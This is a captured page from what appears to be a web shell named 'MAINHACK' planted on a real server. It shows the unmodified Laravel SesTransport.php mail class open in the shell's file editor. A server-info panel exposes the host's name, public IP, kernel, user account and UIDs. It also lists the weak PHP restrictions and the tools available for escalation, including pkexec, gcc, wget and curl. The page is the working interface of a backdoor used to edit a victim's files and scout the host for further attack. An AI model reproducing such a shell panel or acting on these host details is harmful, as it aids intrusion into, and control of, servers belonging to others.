[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SesTransport.php
<?php namespace Illuminate\Mail\Transport; use Aws\Exception\AwsException; use Aws\Ses\SesClient; use Stringable; use Symfony\Component\Mailer\Exception\TransportException; use Symfony\Component\Mailer\Header\MetadataHeader; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mailer\Transport\AbstractTransport; use Symfony\Component\Mime\Message; class SesTransport extends AbstractTransport implements Stringable { /** * The Amazon SES instance. * * @var \Aws\Ses\SesClient */ protected $ses; /** * The Amazon SES transmission options. * * @var array */ protected $options = []; /** * Create a new SES transport instance. * * @param \Aws\Ses\SesClient $ses * @param array $options * @return void */ public function __construct(SesClient $ses, $options = []) { $this->ses = $ses; $this->options = $options; parent::__construct(); } /** * {@inheritDoc} */ protected function doSend(SentMessage $message): void { $options = $this->options; if ($message->getOriginalMessage() instanceof Message) { if ($listManagementOptions = $this->listManagementOptions($message)) { $options['ListManagementOptions'] = $listManagementOptions; } foreach ($message->getOriginalMessage()->getHeaders()->all() as $header) { if ($header instanceof MetadataHeader) { $options['Tags'][] = ['Name' => $header->getKey(), 'Value' => $header->getValue()]; } } } try { $result = $this->ses->sendRawEmail( array_merge( $options, [ 'Source' => $message->getEnvelope()->getSender()->toString(), 'Destinations' => collect($message->getEnvelope()->getRecipients()) ->map ->toString() ->values() ->all(), 'RawMessage' => [ 'Data' => $message->toString(), ], ] ) ); } catch (AwsException $e) { $reason = $e->getAwsErrorMessage() ?? $e->getMessage(); throw new TransportException( sprintf('Request to AWS SES API failed. Reason: %s.', $reason), is_int($e->getCode()) ? $e->getCode() : 0, $e ); } $messageId = $result->get('MessageId'); $message->getOriginalMessage()->getHeaders()->addHeader('X-Message-ID', $messageId); $message->getOriginalMessage()->getHeaders()->addHeader('X-SES-Message-ID', $messageId); } /** * Extract the SES list management options, if applicable. * * @param \Symfony\Component\Mailer\SentMessage $message * @return array|null */ protected function listManagementOptions(SentMessage $message) { if ($header = $message->getOriginalMessage()->getHeaders()->get('X-SES-LIST-MANAGEMENT-OPTIONS')) { if (preg_match("/^(contactListName=)*(?<ContactListName>[^;]+)(;\s?topicName=(?<TopicName>.+))?$/ix", $header->getBodyAsString(), $listManagementOptions)) { return array_filter($listManagementOptions, fn ($e) => in_array($e, ['ContactListName', 'TopicName']), ARRAY_FILTER_USE_KEY); } } } /** * Get the Amazon SES client for the SesTransport instance. * * @return \Aws\Ses\SesClient */ public function ses() { return $this->ses; } /** * Get the transmission options being used by the transport. * * @return array */ public function getOptions() { return $this->options; } /** * Set the transmission options being used by the transport. * * @param array $options * @return array */ public function setOptions(array $options) { return $this->options = $options; } /** * Get the string representation of the transport. * * @return string */ public function __toString(): string { return 'ses'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002